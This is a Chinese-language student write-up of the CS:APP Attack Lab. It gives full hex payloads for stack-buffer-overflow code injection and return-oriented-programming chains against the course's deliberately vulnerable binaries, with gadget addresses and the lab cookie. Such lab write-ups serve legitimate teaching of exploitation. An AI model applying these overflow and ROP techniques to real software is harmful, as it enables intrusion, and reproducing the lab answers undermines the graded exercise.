Part I: Code Injection Attacks

开冲!!

level1

sub rsp,0x28说明缓冲区有0x28即40字节,我们只需在这之后加入touch1()函数的权限地址来提权。

gets()函数不会对输入大小进行检查,遇到\n0x0a结束字符串读取

touch1地址为0x4017c0

payload(注意不能填充0a),同时小端序要倒序存储(低地址存放数据低位,高地址存放数据高位)

1
2
3
4
5
6
00 00 00 00 00 00 00 00 #低地址
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 #高地址

通过

level2

反编译touch2

touch地址为0x4017ec我们发现有个cookie的比较,cookie在cookie.txt文件,值为0x59b997fa,我们需要将%edi的值设为cookie。

因此我们需要注入汇编代码。我们让payload最后的跳转跳转到字符串开头在栈中的位置,即0x5561dc78

1
2
3
movq $0x59b997fa,%rdi
pushq $0x4017ec
retq

提示我们jmpcall的指令很难确定目标地址的编码,具体以后去了解一下吧,我们使用ret

将指令转化为机器码

最后得出payload:

1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

通过 ~

level3

反汇编,touch3地址0x4018fa。发现调用hexmatch函数,并且,writeup给出了函数代码

1
2
3
4
5
6
7
8
9
10
/* Compare string to hex represention of unsigned value */
2 int hexmatch(unsigned val, char *sval)
3 {
4 char cbuf[110];
5 /* Make position of check string unpredictable */
6 char *s = cbuf + random() % 100;
7 sprintf(s, "%.8x", val);
8 return strncmp(sval, s, 9) == 0;
9 }

分析一下,hexmatch传入cookie(val)和touch3()的参数sval,中间部分生成随机数,覆盖栈帧中的数据,因此我们只能把数据放在父栈帧test里。。接着是sprintf(s, “%.8x”, val),该函数类似于printf函数,不过sprintf函数是将将格式化字符串输出到字符串里。s表示目的字符串,%.8x表示读取8个字符,输出为16进制,val表示源字符串。strncmp(sval, s, 9)最后对cookies前九个字符进行比较,包括字符串的结束标志\x0。总结一下就是要让touch3的参数等于cookie的值0x59b997fa

由于64位系统使用%rdi第一个参数,但字符串的大小可能超过寄存器所能存储的大小,所以寄存器往往传送的是字符串的在栈中的地址。我们将字符串覆盖到%rdi所指向的内存即可。

payload

1
2
3
4
5
6
7
8
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00

Part II: Return-Oriented Programming(ROP)

即开启ASLR堆栈地址随机化NX栈上的数据没有执行权限保护

Level2

同样的地址,我们回想下第一节的level2

但我们显然不能找到将立即数的操作指令,因为我们无法更改指令中立即数的值。但我们可以换种思路,将值pop进寄存器中,由于在farm中找不到

1
2
pop %rax
movq %rax,%rdi

我们选择地址为0x4019cc的代码,0x58pop %rax0x90nop操作,c3为ret指令

我们搜索movq %rax,%rdi的机器码48 89 c7,我们选择第一个而不是第二个。地址为0x40192

因为下一机器码为0xc3即为ret指令,而c7不是,无法返回到我们的攻击代码中。

因此我们的payload为

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cc 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

PASS!

level3

终于闯到最后一关了好耶!

1
2
3
4
5
6
7
8
mov %rsp,%rax
movq %rax,%rdi
popq %rax
movl %eax,%edx
movl %edx,%ecx
movl %ecx,%esi
lea (%rdi,%rsi,1),%rax
movq %rax,%rdi

我们注意到有一个特殊的指令。可以通过他来修改寄存器%rdi。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
06 1A 40 00 00 00 00 00
C5 19 40 00 00 00 00 00
AB 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
DD 19 40 00 00 00 00 00
34 1A 40 00 00 00 00 00
27 1A 40 00 00 00 00 00
D6 19 40 00 00 00 00 00
C5 19 40 00 00 00 00 00
FA 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61

但是这题有一妙解attacklab实验报告:代码注入以及rop攻击 | xia0ji233’s blog,我们可以直接将%rax寄存器加上一个值来修改%rdi的值,而寄存器的低位加上去也能得结果。所以,我们可以这样。

40 37add $0x37,%al

寄存器前要加上%号,否则寄存器会按照64位处理

1
2
3
4
movq %rsp,%rax
add $0x37,%al
movq %rax,%rdi
ret